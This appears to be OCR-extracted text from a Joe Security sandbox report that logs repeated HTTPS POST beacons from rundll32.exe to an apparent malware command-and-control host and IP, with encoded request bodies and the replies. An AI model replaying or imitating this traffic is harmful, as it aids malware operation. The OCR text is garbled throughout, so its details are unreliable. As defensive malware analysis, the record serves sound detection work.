4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP P ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:40:12 UTC 72

2022-08-14 06:40:13 UTC 73

2022-08-14 06:40:13 UTC 74

Session ID Source IP
44 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:13 UTC 74

2022-08-14 06:40:13 UTC 74

2022-08-14 06:40:14 UTC 75

2022-08-14 06:40:14 UTC 75

Session ID Source IP

45 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:14 UTC 75

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49216

Direction

ouT

ouT

Source Port

49217

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:13 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP D ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:40:14 UTC 76

2022-08-14 06:40:15 UTC 77

2022-08-14 06:40:15 UTC 77

Session ID Source IP
46 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:16 UTC 77

2022-08-14 06:40:16 UTC 77

2022-08-14 06:40:16 UTC 78

2022-08-14 06:40:16 UTC 79

Session ID Source IP

47 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:17 UTC 79

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49218

Direction

ouT

ouT

Source Port

49219

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:15 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:16 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP D ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:40:17 UTC 79

2022-08-14 06:40:17 UTC 80

2022-08-14 06:40:17 UTC 80

Session ID Source IP
48 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:18 UTC 80

2022-08-14 06:40:18 UTC 81

2022-08-14 06:40:18 UTC 82

2022-08-14 06:40:18 UTC 82

Session ID Source IP

49 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:19 UTC 82

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49220

Direction

ouT

ouT

Source Port

49221

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:17 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:18 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP D ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:40:19 UTC 82

2022-08-14 06:40:19 UTC 83

2022-08-14 06:40:19 UTC 84

Session ID Source IP

5 192.168.2.22
. kBytes

Ti t
imestamp transferred

2022-08-14 06:39:31 UTC 9

2022-08-14 06:39:31 UTC 10

2022-08-14 06:39:31 UTC 11

2022-08-14 06:39:31 UTC 11

Session ID Source IP

50 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:20 UTC 84

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49177

Direction

ouT

ouT

Source Port

49222

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
7432767469 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:31 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP D ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:40:20 UTC 84

2022-08-14 06:40:20 UTC 85

2022-08-14 06:40:20 UTC 85

Session ID Source IP
51 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:21 UTC 85

2022-08-14 06:40:21 UTC 86

2022-08-14 06:40:22 UTC 87

2022-08-14 06:40:22 UTC 87

Session ID Source IP

52 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:22 UTC 87

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49223

Direction

ouT

ouT

Source Port

49224

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:20 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:21 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destinati
Destination IP Estnaton Process

Port
64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

